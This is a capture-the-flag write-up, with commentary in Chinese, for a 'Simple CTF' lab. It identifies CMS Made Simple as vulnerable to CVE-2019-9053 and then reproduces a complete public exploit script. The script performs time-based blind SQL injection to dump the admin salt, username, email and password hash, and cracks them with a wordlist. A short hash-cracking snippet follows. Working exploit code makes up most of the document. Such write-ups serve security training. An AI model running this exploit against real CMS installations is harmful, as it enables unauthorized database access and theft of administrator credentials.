Simple CTF

How many services are running under port 1000?

What is running on the higher port?

ssh

What's the CVE you're using against the application?

扫一下发现simple这个目录，访问发现是CMS Made Simple

于是就找到了

CVE-2019-9053

To what kind of vulnerability is the application vulnerable?

CVE-2019-9053是个sql注入的漏洞

sqli

What's the password?

网上找了个利用脚本

#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053

import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url",
                  help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store",
                  dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking",
                  help="Crack password with wordlist", default=False)

options, args = parser.parse_args()
if not options.url:
    print("[+] Specify an url target")
    print("[+] Example usage (no cracking password): exploit.py -u http://target-uri")
    print("[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist")
    print("[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based.")
    exit()

url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""

salt = ''
wordlist = ""
if options.wordlist:
    wordlist += options.wordlist

def crack_password():
    global password
    global output
    global wordlist
    global salt
    dict = open(wordlist)
    for line in dict.readlines():
        line = line.replace("\n", "")
        beautify_print_try(line)
        if hashlib.md5(str(salt) + line).hexdigest() == password:
            output += "\n[+] Password cracked: " + line
            break
    dict.close()

def beautify_print_try(value):
    global output
    print("\033c")
    cprint(output, 'green', attrs=['bold'])
    cprint('[*] Try: ' + value, 'red', attrs=['bold'])

def beautify_print():
    global output
    print("\033c")
    cprint(output, 'green', attrs=['bold'])

def dump_salt():
    global flag
    global salt
    global output
    ord_salt = ""
    ord_salt_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_salt = salt + dictionary[i]
            ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_salt)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + \
                ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            salt = temp_salt
            ord_salt = ord_salt_temp
    flag = True
    output += '\n[+] Salt for password found: ' + salt

def dump_password():
    global flag
    global password
    global output
    ord_password = ""
    ord_password_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_password = password + dictionary[i]
            ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_password)
            payload = "a,b,1,5))+and+(select+sleep(" + \
                str(TIME) + ")+from+cms_users"
            payload += "+where+password+like+0x" + \
                ord_password_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            password = temp_password
            ord_password = ord_password_temp
    flag = True
    output += '\n[+] Password found: ' + password

def dump_username():
    global flag
    global db_name
    global output
    ord_db_name = ""
    ord_db_name_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_db_name = db_name + dictionary[i]
            ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_db_name)
            payload = "a,b,1,5))+and+(select+sleep(" + str(
                TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            db_name = temp_db_name
            ord_db_name = ord_db_name_temp
    output += '\n[+] Username found: ' + db_name
    flag = True

def dump_email():
    global flag
    global email
    global output
    ord_email = ""
    ord_email_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_email = email + dictionary[i]
            ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_email)
            payload = "a,b,1,5))+and+(select+sleep(" + str(
                TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            email = temp_email
            ord_email = ord_email_temp
    output += '\n[+] Email found: ' + email
    flag = True

dump_salt()
dump_username()
dump_email()
dump_password()

if options.cracking:
    print(colored("[*] Now try to crack password"))
    crack_password()

beautify_print()

跑一下得到结果(未解密)

刚忘选爆破了，手动操作下

import hashlib
f = open('弱口令.txt').read().splitlines()
for i in f:
    data = '1dac0d92e9fa6bb2'+i
    if hashlib.md5(data.encode()).hexdigest() == '0c01f4468bd75d7a84c7eb73846e8d96':
        print(i)
        break

得到密码